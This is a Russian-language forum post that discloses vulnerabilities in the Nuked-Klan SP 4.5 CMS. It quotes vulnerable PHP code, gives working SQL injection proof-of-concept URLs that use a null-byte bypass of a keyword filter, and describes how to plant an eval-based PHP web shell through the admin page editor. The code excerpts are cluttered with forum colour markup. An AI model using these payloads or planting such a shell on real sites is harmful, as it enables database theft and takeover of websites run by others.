Уязвимости Nuked-Klan
Nuked-Klan SP 4.5
Скачать
На баг-треках я нашел
один актуальный баг. Но есть ещё.
В движке используется ereg.
Remote code execution
Зависимости: magic_qoutes_gpc = off
File: /globals.php
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...
[/COLOR][COLOR="#0000BB"]extract[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]EXTR_SKIP[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]extract[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]EXTR_SKIP[/COLOR][COLOR="#007700"]);
...
[/COLOR][COLOR="#0000BB"]$bad_string[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]"%20union%20"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"/*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"*/union/*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"+union+"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"load_file"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"outfile"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"document.cookie"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"onmouse"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]" 0 "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$and[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" ORDER BY pseudo LIMIT "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$start[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]", "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$nb_membres[/COLOR][COLOR="#007700"]);
...
[/COLOR][/COLOR]
Используем null-byte для обхода регулярки.
PoC:
http://127.0.0.1/nk/index.php?file=Members&letter=XX%00'+and+1=0+%0aun ion+select+version(),2,3,4,5,6,7,8,9+--+d
SQL injection
Зависимости: magic_quotes_gpc = off, надо быть зарегистрированным пользователем.
File: /modules/Userbox/index.php
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...
function[/COLOR][COLOR="#0000BB"]post_message[/COLOR][COLOR="#007700"]()
{
global[/COLOR][COLOR="#0000BB"]$for[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$titre[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]$for[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]ereg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"^[a-zA-Z0-9]+$"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$for[/COLOR][COLOR="#007700"]))
{
[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT pseudo FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]USER_TABLE[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" WHERE id = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$for[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]);
list([/COLOR][COLOR="#0000BB"]$pseudo[/COLOR][COLOR="#007700"]) =[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);
}
...
if ([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$reply[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[quote="[/COLOR][COLOR="#007700"].[/quote][/COLOR][quote="[/COLOR][COLOR="#007700"][COLOR="#0000BB"]$pseudo[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"]"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]htmlentities[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]"[/COLOR][/quote][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
}
...
}[/COLOR][/COLOR]
PoC:
http://127.0.0.1/nk/index.php?file=Userbox&op=post_message&message=a&f or=a%00'%0aunion+select+version()+--+
Заливка шелла
Нужны права администратора
Заходим на http://127.0.0.1/nk/index.php?file=Page&page=admin
Создаем новую php-страницу, в контенте вводим eval(stripslashes($_REQUEST['x'])); или загружаем файл.